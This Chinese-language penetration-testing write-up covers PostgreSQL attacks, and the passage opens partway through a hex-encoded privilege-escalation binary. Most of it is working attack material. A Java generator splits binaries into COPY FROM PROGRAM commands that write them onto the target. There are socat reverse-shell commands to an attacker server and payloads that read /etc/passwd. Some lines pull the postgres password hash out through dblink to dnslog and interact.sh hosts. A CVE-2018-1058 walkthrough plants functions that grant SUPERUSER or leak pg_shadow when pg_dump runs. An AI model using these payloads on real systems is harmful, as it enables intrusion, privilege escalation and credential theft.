6E\x65\x54\x61\x62\x6C\x65\x00\x70\x74\x68\x72\x65\x61\x64\x5F\x6A\x6F\x69\x6E\x40\x47\x4C\x49\x42\x43\x5F\x32\x2E\x33\x34\x00\x63\x72\x79\x70\x74\x40\x58\x43\x52\x59\x50\x54\x5F\x32\x2E\x30\x00\x66\x73\x74\x61\x74\x40\x47\x4C\x49\x42\x43\x5F\x32\x2E\x33\x33\x00\x5F\x5F\x63\x78\x61\x5F\x66\x69\x6E\x61\x6C\x69\x7A\x65\x40\x47\x4C\x49\x42\x43\x5F\x32\x2E\x32\x2E\x35\x00\x5F\x69\x6E\x69\x74\x00\x66\x6F\x72\x6B\x40\x47\x4C\x49\x42\x43\x5F\x32\x2E\x32\x2E\x35\x00\x00\x2E\x73\x79\x6D\x74\x61\x62\x00\x2E\x73\x74\x72\x74\x61\x62\x00\x2E\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2E\x69\x6E\x74\x65\x72\x70\x00\x2E\x6E\x6F\x74\x65\x2E\x67\x6E\x75\x2E\x70\x72\x6F\x70\x65\x72\x74\x79\x00\x2E\x6E\x6F\x74\x65\x2E\x67\x6E\x75\x2E\x62\x75\x69\x6C\x64\x2D\x69\x64\x00\x2E\x6E\x6F\x74\x65\x2E\x41\x42\x49\x2D\x74\x61\x67\x00\x2E\x67\x6E\x75\x2E\x68\x61\x73\x68\x00\x2E\x64\x79\x6E\x73\x79\x6D\x00\x2E\x64\x79\x6E\x73\x74\x72\x00\x2E\x67\x6E\x75\x2E\x76\x65\x72\x73\x69\x6F\x6E\x00\x2E\x67\x6E\x75\x2E\x76\x65\x72\x73\x69\x6F\x6E\x5F\x72\x00\x2E\x72\x65\x6C\x61\x2E\x64\x79\x6E\x00\x2E\x72\x65\x6C\x61\x2E\x70\x6C\x74\x00\x2E\x69\x6E\x69\x74\x00\x2E\x70\x6C\x74\x2E\x67\x6F\x74\x00\x2E\x74\x65\x78\x74\x00\x2E\x66\x69\x6E\x69\x00\x2E\x72\x6F\x64\x61\x74\x61\x00\x2E\x65\x68\x5F\x66\x72\x61\x6D\x65\x5F\x68\x64\x72\x00\x2E\x65\x68\x5F\x66\x72\x61\x6D\x65\x00\x2E\x69\x6E\x69\x74\x5F\x61\x72\x72\x61\x79\x00\x2E\x66\x69\x6E\x69\x5F\x61\x72\x72\x61\x79\x00\x2E\x64\x79\x6E\x61\x6D\x69\x63\x00\x2E\x67\x6F\x74\x2E\x70\x6C\x74\x00\x2E\x64\x61\x74\x61\x00\x2E\x62\x73\x73\x00\x2E\x63\x6F\x6D\x6D\x65\x6E\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1B\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x18\x03\x00\x00\x00\x00\x00\x00\x18\x03\x00\x00\x00\x00\x00\x00\x1C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x23\x00\x00\x00\x07\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x38\x03\x00\x00\x00\x00\x00\x00\x38\x03\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x07\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x58\x03\x00\x00\x00\x00\x00\x00\x58\x03\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x49\x00\x00\x00\x07\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x7C\x03\x00\x00\x00\x00\x00\x00\x7C\x03\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x57\x00\x00\x00\xF6\xFF\xFF\x6F\x02\x00\x00\x00\x00\x00\x00\x00\xA0\x03\x00\x00\x00\x00\x00\x00\xA0\x03\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x61\x00\x00\x00\x0B\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xC8\x03\x00\x00\x00\x00\x00\x00\xC8\x03\x00\x00\x00\x00\x00\x00\xD0\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x69\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x98\x06\x00\x00\x00\x00\x00\x00\x98\x06\x00\x00\x00\x00\x00\x00\x4D\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x71\x00\x00\x00\xFF\xFF\xFF\x6F\x02\x00\x00\x00\x00\x00\x00\x00\xE6\x07\x00\x00\x00\x00\x00\x00\xE6\x07\x00\x00\x00\x00\x00\x00\x3C\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x7E\x00\x00\x00\xFE\xFF\xFF\x6F\x02\x00\x00\x00\x00\x00\x00\x00\x28\x08\x00\x00\x00\x00\x00\x00\x28\x08\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x02\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8D\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x88\x08\x00\x00\x00\x00\x00\x00\x88\x08\x00\x00\x00\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x97\x00\x00\x00\x04\x00\x00\x00\x42\x00\x00\x00\x00\x00\x00\x00\x90\x09\x00\x00\x00\x00\x00\x00\x90\x09\x00\x00\x00\x00\x00\x00\x40\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x18\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\xA1\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9C\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x20\x10\x00\x00\x00\x00\x00\x00\x20\x10\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\xA7\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\xB0\x11\x00\x00\x00\x00\x00\x00\xB0\x11\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\xB0\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\xC0\x11\x00\x00\x00\x00\x00\x00\xC0\x11\x00\x00\x00\x00\x00\x00\x9E\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB6\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x60\x18\x00\x00\x00\x00\x00\x00\x60\x18\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xBC\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\xDE\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xC4\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xE0\x21\x00\x00\x00\x00\x00\x00\xE0\x21\x00\x00\x00\x00\x00\x00\x4C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD2\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x30\x22\x00\x00\x00\x00\x00\x00\x30\x22\x00\x00\x00\x00\x00\x00\x30\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xDC\x00\x00\x00\x0E\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xC0\x3D\x00\x00\x00\x00\x00\x00\xC0\x2D\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\xE8\x00\x00\x00\x0F\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xC8\x3D\x00\x00\x00\x00\x00\x00\xC8\x2D\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\xF4\x00\x00\x00\x06\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xD0\x3D\x00\x00\x00\x00\x00\x00\xD0\x2D\x00\x00\x00\x00\x00\x00\xF0\x01\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\xAB\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xC0\x3F\x00\x00\x00\x00\x00\x00\xC0\x2F\x00\x00\x00\x00\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\xFD\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xE8\x3F\x00\x00\x00\x00\x00\x00\xE8\x2F\x00\x00\x00\x00\x00\x00\xD8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x06\x01\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xC0\x40\x00\x00\x00\x00\x00\x00\xC0\x30\x00\x00\x00\x00\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0C\x01\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x41\x00\x00\x00\x00\x00\x00\xE8\x30\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x01\x00\x00\x01\x00\x00\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x30\x00\x00\x00\x00\x00\x00\x1F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x31\x00\x00\x00\x00\x00\x00\xA8\x06\x00\x00\x00\x00\x00\x00\x1D\x00\x00\x00\x12\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB0\x37\x00\x00\x00\x00\x00\x00\xD9\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x89\x3B\x00\x00\x00\x00\x00\x00\x1A\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0A" >> /tmp/dirty''';

echo 命令写二进制文件

在当前机器不出网的情况下,echo 命令写二进制文件比较好用,这边来进行写入编译好的 dirty 可执行文件。环境基本和下面open in new window的一样,多亏了前人们的探索呀!

  • docker 环境:wget 命令不存在、curl 不存在、python 不存在,而且服务器还不出网,
  • 所以通过下载文件方式去写入提权文件,看来不太好弄。那么只能直接写二进制文件了,可是问题又来了,| base64 -d​ 命令不存在、|xxd -r -ps​ 命令也不存在,怎么写二进制文件呢?

看来只剩下 echo 命令可用了,经过一系列测试,发现 echo 是可以直接写入二进制文件的。

**命令如下:**​echo -e -n "\x23" >> exploit3.bin。比较麻烦的是,需要把二进制文件转成 16 进制格式的,如下图所示

image

接下来就是与 postgres 的提权语句结合起来使用了,原有的 echo 命令是这样的

echo -e -n "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" >> test3.bin

但是放在 postgres 必须用以下这样方式才行,试了好多次,只有这样才能写成功!注意,echo 左边的是 2 个 单引号,不是双引号,exploit3.bin 右边是 3 个 单引号​。

COPY cmd_exec FROM PROGRAM '/bin/bash -c ''echo -e -n "\x33" >> exploit3.bin''';

最终通过 postgres 提权漏洞写入提权 exp 文件的具体语句如下:

image

最终 dirty 提权文件写入成功了,执行 chmod 777 dirty 之后,运行此文件,发现没反应,这时候我才反应过来。。。这个提权 exp 需要交互环境!!!接下来我需要传一个 nc 啥的反弹 shell 获取交互环境吗?可是 nc 也不一定能获取纯交互环境呀。我想到了一个好久没用的工具 socat,解决了这个问题。

我这里直接反弹的 shell 来进行操作。

image​​

import org.jcp.xml.dsig.internal.dom.Utils;
import org.omg.CORBA.Environment;

import java.io.*;
import java.util.ArrayList;
import java.util.List;
import java.util.logging.Level;
import java.util.logging.Logger;

public class test {

    static String file_path = "C:\\Users\\dddd\\Desktop\\dirty";

    public static void main(String[] args) throws IOException {
        char[] chars = "0123456789ABCDEF".toCharArray();
        byte[] bs = readFileToByte(file_path);

        StringBuilder builder = new StringBuilder();

        int bit;
        for (int i = 0; i < bs.length; i++) {
            builder.append("\\x");
            bit = (bs[i] & 0x0f0) >> 4;
            builder.append(chars[bit]);
            bit = bs[i] & 0x0f;
            builder.append(chars[bit]);
        }
        String file_string = builder.toString();
        String write_string = "copy cmd_exec from program '/bin/bash -c ''echo -e -n \"ddddhm\" >> /tmp/dirty''';";
        StringBuilder tmp_string = new StringBuilder();
        int count = 0;
        int i = 0;

        // FileOutputStream fileOutputStream = new FileOutputStream(new File("result.txt"));
        FileWriter fileWriter = new FileWriter("result.txt");
        while (i < file_string.length()) {
            tmp_string.append(file_string, i, i + 4);
            if (count % 24264 == 0 && count != 0) {
                fileWriter.write(write_string.replace("ddddhm", tmp_string.toString())+"\n");
                tmp_string = new StringBuilder();
            }
            count++;

            i += 4;
        }

        fileWriter.write(write_string.replace("ddddhm", tmp_string.toString()));
        fileWriter.close();
    }

    // 以字节的形式读取文件
    public static byte[] readFileToByte(String filepath) {
        BufferedInputStream in;
        byte[] bytes = null;

        try {
            in = new BufferedInputStream(new FileInputStream(filepath));
            ByteArrayOutputStream out = new ByteArrayOutputStream(1024);

            byte[] temp = new byte[1024];
            int size = 0;
            while ((size = in.read(temp)) != -1) {
                out.write(temp, 0, size);
            }
            in.close();
            bytes = out.toByteArray();
        } catch (FileNotFoundException ex) {
            Logger.getLogger(Utils.class.getName()).log(Level.SEVERE, null, ex);
        } catch (IOException ex) {
            Logger.getLogger(Utils.class.getName()).log(Level.SEVERE, null, ex);
        }

        return bytes;
    }
}

socat 获取交互型 shell

socat 这款工具,可以说是 nc 的升级版本,可以轻松获取到一个纯交互环境,github 上有很多绿色免安装版本。执行如下命令后,将会获取到一个完全交互式的 TTY 会话:

Vps 上监听端口

socat file:tty,raw,echo=0 tcp-listen:8888

内网服务器上运行

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:8888

服务器不通外网怎么办呢,正好我们 webshell 有一台服务器,就反弹到 webshell 这个服务器上吧。(下图来源于网络)

图片

分割二进制大文件写入成功

把这个 socat 单文件转成 16 进制格式的,通过 postgres 提权命令执行写入。结果通过 ls -lah​ 命令发现文件并没有写进去,原因在哪里呢?后来发现,COPY cmd_exec FROM PROGRAM这个语句对二进制文件大小有限制的,文件太大写不进去。接下来怎么办?继续干!

于是把二进制文件分割开,挨个执行 echo -e -n​ 命令叠加写入二进制文件,经过一系列测试发现,一个 367k 大小的 socat 文件,需要分割成近 15 份才能写入成功。也是我用 java 写了一个小程序,将 socat 文件分割成 15 份,并且自动生成 postgres 提权命令。

其他

# 方法 1 pg_read_file
-- 注意: 在早期的 PostgreSQL 版本中,pg_read_file 不允许使用绝对路径
select pg_read_file('/etc/passwd');

-- 单引号被转义的情况下使用
select/**/PG_READ_FILE($$/etc/passwd$$)

# 方法 2
create table testf0x(t TEXT);
copy testf0x from '/etc/passwd';
select * from testf0x limit 1 offset 0;

# 方法 3 lo_import
lo_import 允许指定文件系统路径。该文件将被读取并加载到一个大对象中,并返回该对象的 OID。

Select lo_import('/etc/passwd',12345678);
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a

-- 单引号被转义的情况下使用
select/**/lo_import($$/etc/passwd$$,11111);
select/**/cast(encode(data,$$base64$$)as/**/integer)/**/from/**/pg_largeobject/**/where/**/loid=11111

# PostgreSQL 带外数据
-- 开启 dblink 扩展
CREATE EXTENSION dblink

-- 获取当前数据库用户名称
SELECT * FROM dblink('host='||(select user)||'.djw0pg.dnslog.cn user=test dbname=test', 'SELECT version()') RETURNS (result TEXT);

-- 查询当前密码
SELECT * FROM dblink('host='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')||'.c8jrsjp2vtc0000rwce0grjcc3oyyyyyb.interact.sh user=test dbname=test', 'SELECT version()') RETURNS (result TEXT);

-- nc 监听
nc -lvv 4444

select dblink_connect((select 'hostaddr=x.x.x.x port=4445 user=test password=test sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));

PostgreSQL 提权漏洞(CVE-2018-1058)

PostgreSQL 是一款关系型数据库。其 9.3 到 10 版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。可以把一个普通的数据库用户权限提升到数据库管理员权限。

参考链接:

漏洞分析

获取当前会话用户

vulhub=> SELECT SESSION_USER;
 session_user 
--------------
 vulhub
(1 row)

**当存在与当前登录的用户(**​SESSION_USER​ **)同名的 **​schema,则默认使用的是该命名空间。

这个涉及到 PostgreSQL 的 search_path​​。PostgreSQL 7.3 后引入了 schema​ ​的概念,称之为模式或者架构,允许用户在独立的命名空间中创建不同的对象(比如 table,function)。在默认情况下,比如刚刚创建的一个数据库,都会有默认的一个 public​ ​模式,在不做其他操作或者设定的情况下,诸如查询等操作都是在这个 public​ ​中进行查询。

-- public 下创建一个 test table
vulhub=> CREATE TABLE public.test AS SELECT 'default public test'::text AS test;
SELECT 1
vulhub=> select * from test;
        test     
---------------------
 default public test
(1 row)

-- 创建一个新的 schema,其模式名为 mob
vulhub=> CREATE schema mob;
CREATE SCHEMA
vulhub=> CREATE TABLE mob.test AS SELECT 'i am mob'::text AS test;
SELECT 1

-- 查询到的是默认的 public schema 下的 table
vulhub=> select * from test;                                  
        test     
---------------------
 default public test
(1 row)

-- 再创建一个新的 schema,其模式名即为 vulhub,也即当前的 SESSION_USER
vulhub=> CREATE schema vulhub;
CREATE SCHEMA
vulhub=> CREATE TABLE vulhub.test AS SELECT 'i am vulhub'::text AS test;
SELECT 1

-- 查询到的则是 vulhub schema 下的 table
vulhub=> select * from test;
    test   
-------------
 i am vulhub
(1 row)

vulhub=> 

image

image

由于采用了独立的命名空间,因此在用户进行查询时,倘若涉及到对相同名字但在不同 schema ​中的对象操作时,必然需要考虑一定的顺序。在 PostgreSQL 9.6.7 的官方文档中,search_path (string)open in new window说明了相关场景中的相应匹配动作,截取部分如下:

When there are objects of identical names in different schemas, the one found first in the search path is used.

If one of the list items is the special name $user, then the schema having the name returned by SESSION_USER is substituted, if there is such a schema and the user has USAGE permission for it. (If not, $user is ignored.)

The system catalog schema, pg_catalog, is always searched, whether it is mentioned in the path or not. If it is mentioned in the path then it will be searched in the specified order. If pg_catalog is not in the path then it will be searched before searching any of the path items.

即:

  1. 首先适配原则,第一个找到的 object 被使用
  2. 名为 $user 的 schema 由 SESSION_USER 决定(与登录用户同名的则默认使用)
  3. 如果 pg_catalog​ ​不在 path 中则会最先查找它,如果在 path 中则按照指定顺序查找

第 1、2 点即如前面所示,但 PostgreSQL 在对第 3 点的实现上出现了 Design Error​​(securityfocus 的分类),造成了代码执行漏洞。

cve_commitopen in new window

利用方式一

image

Postgresql 提供了自定义函数的功能,我们创建如下函数:

-- 因为内置函数没有 text 类型的参数,无法匹配函数时
vulhub=> select abs('mob');
ERROR:  invalid input syntax for type double precision: "mob"
LINE 1: select abs('mob');

-- 在 vulhub schema 下自定义 function abs(TEXT)
CREATE FUNCTION abs(TEXT) RETURNS TEXT AS $$
     SELECT 'function in vulhub.vulhub: you are hacked by ' || $1;
$$ LANGUAGE SQL IMMUTABLE;

-- 在 vulhub schema 下自定义 function abs(TEXT)
CREATE FUNCTION public.abs(TEXT) RETURNS TEXT AS $$
     SELECT 'function in vulhub.public: you are hacked by ' || $1;
$$ LANGUAGE SQL IMMUTABLE;

-- 测试
vulhub=> select abs('mob');
                       abs                    
--------------------------------------------------
 function in vulhub.vulhub: you are hacked by mob
(1 row)

vulhub=> select public.abs('mob');
                       abs                    
--------------------------------------------------
 function in vulhub.public: you are hacked by mob
(1 row)

当我们再次执行同样的查询语句,根据 postgres 的设计流程,它会先去查找系统 schema pg_catalog​,但由于参数类型不同没有找到,接着按照 search_path​ 中的顺序查找(系统 --> 特殊空间 -- 当前空间下的 public),如果我们定义的 abs(text)​ 存在于 schema public​ 或者默认的命名空间下,参数符合,因此 pg 理所当然地执行了我们定义的函数。

​​image

image​​

注意一个点,这个函数是定义在 schema public​ 中的,也就是说对于进入到这个数据库的任何用户,只要他们调用了 abs,且参数为 text,都有可能会诱发恶意的代码执行。比如以超级用户 postgres 执行

-- 列举并切换数据库
postgres=# \l
postgres=# \c vulhub;

-- 查询当前数据库
SELECT current_database();

-- 查询当前的搜索路径
SHOW search_path;

-- 切换搜索路径
SET search_path TO schema_name;

不过有谁会傻乎乎的去运行一个莫名其妙的 abs(text)​​ 呢?因此真正的攻击手段是将过程隐藏到看似正常的数据库查询中。这次我们选择 schema pg_catalog​​ 中的另外一类函数比如 lower(text),upper(text),它们分别将 text 类型的参数转成小写和大写,不过系统没有提供接受 varchar 参数的 lower 和 upper,尽管可以进行类型转换,但对 pg 而言,最好的选择当然是参数类型恰好符合的恶意自定义函数。

image

创建一个表,值的类型为 varchar:

CREATE TABLE public.hahaha AS SELECT 'MOB'::varchar AS contents;

创建对应的恶意函数:

CREATE FUNCTION public.lower(varchar) RETURNS TEXT AS $$
     SELECT 'you are hacked by ' || $1;
$$ LANGUAGE SQL IMMUTABLE;

对绝大部分用户而言,他们可能看大写的 MOB​​ 不爽,然后执行了 lower 函数,但在不知道/清楚类型的情况下,他们执行的是 public 中的恶意自定义函数。

image

只能打印 you are hacked by XXX​​ 有毛用!由于恶意自定义函数可以被超级用户调用到,因此也就有了相应的执行权限,最简单的比如提权

先来看看权限情况(以超级用户为例),可以看到只有 postgres 的 rolsuper 是 t,即 true。

vulhub=# select rolname,rolsuper from pg_roles;
      rolname      | rolsuper 
-------------------+----------
 pg_signal_backend | f
 postgres          | t
 vulhub            | f
(3 rows)

image

在用户 vulhub 登陆进 vulhub 数据库后,他创建了如下 upper 函数:

CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
    ALTER ROLE vulhub SUPERUSER;
    SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;

注意这里是 VOLATILE​,具体原因参考 官方文档:xfunc-volatilityopen in new window

另外一张 table,小写的 vulhub:

CREATE TABLE public.hehehe AS SELECT 'vulhub'::varchar AS contents;

管理员一看,心中不爽:小写小写就知道小写,知不知道就是要大写大写,然后进行大写转换:

select upper(contents) from hehehe;

image

看上去一切正常,大写的大写。回到用户 vulhub 处,查看一下权限, vulhub 已经成为超级用户。

vulhub=> select rolname,rolsuper from pg_roles;
      rolname      | rolsuper 
-------------------+----------
 pg_signal_backend | f
 postgres          | t
 vulhub            | t
(3 rows)

利用方法有很多,理论上只要能创建恶意函数,管理员调用,就是以管理员身份去执行恶意 sql 语句/代码。在这种情况中,如 commit 所说 Not included are core client programs that run user-specified SQL commands, namely psql and pgbench.​,被攻击用户是知道自己执行的 sql 语句,只是其中的某个 function 意义被掉包了。

利用方式二

https://vulhub.org/#/environments/postgres/CVE-2018-1058/open in new window

安装完 PostgreSQL 后还会有一系列的工具,比如 pg_dump、pg_dumpall 等等。基于利用方式一,在创建了恶意函数的基础之上,可以通过这些工具来执行恶意函数。**这些工具在执行过程中会动态设定 **​search_path​ **,导致 **​public​ ** 的优先级比 **​pg_catalog​ ** 高,也就是说即使是在相同类型相同参数相同函数名的情况下,会选择 public​ ** 中的函数。 相比第一种而言隐蔽性更强,同时有更高的可触发性。

我只能说真的牛逼,这研究水平。。。

为利用 pg_dump 中的 sql 语句,可以利用 log 来观察执行过程。在 superuser 的权限下 show log_directory;​ ​找到 log 目录,将目录下 postgresql.conf 中的约莫 455 行改为 log_statement = all​​。重启 PostgreSQL 后,使用 pg_dump 工具执行备份命令:

pg_dump -U postgres -f evil.bak evil

同时观察 log 输出,查找 statement: SET search_path =​,最后在某处我发现了一段这样的 log:

image

可以看到在这段 log 中,有一处的 array_to_string ​是没有指定 schema 的。在系统 schema 中它的定义如下:

image

在这里由于已经设定了 search_path​,为了能直接适配,这里创建的恶意函数的参数个数和类型都必须和 pg_catalog ​中定义的相同,倘若不同则会按顺序匹配到正确的函数。

因为 pg_dump 在运行过程中开启的是 read only transaction​,根据官方文档open in new window

The transaction access mode determines whether the transaction is read/write or read-only. Read/write is the default. When a transaction is read-only, the following SQL commands are disallowed: INSERT, UPDATE, DELETE, and COPY FROM if the table they would write to is not a temporary table; all CREATE, ALTER, and DROP commands; COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if the command they would execute is among those listed. This is a high-level notion of read-only that does not prevent all writes to disk.

是不允许执行下类操作的:

  1. 插入、更新、删除、复制
  2. 所有 CREATE、ALTER 和 DROP 命令
  3. 注释、授予、撤销、截断;如果要执行的命令在列出的命令中,请解释分析和执行

不过并没有禁止 select​ 语句。如果开启了 dblink,则可以利用查询来带出数据,比如用 dblink_connect。

  1. 先通过普通用户 vulhub:vulhub​​​ 的身份登录 postgres: psql --host your-ip --username vulhub​​​

  2. 执行如下语句后退出

    CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
        select dblink_connect((select 'hostaddr=192.168.202.61 port=5433 user=vulhub password=vulhub sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
        SELECT pg_catalog.array_to_string($1,$2);
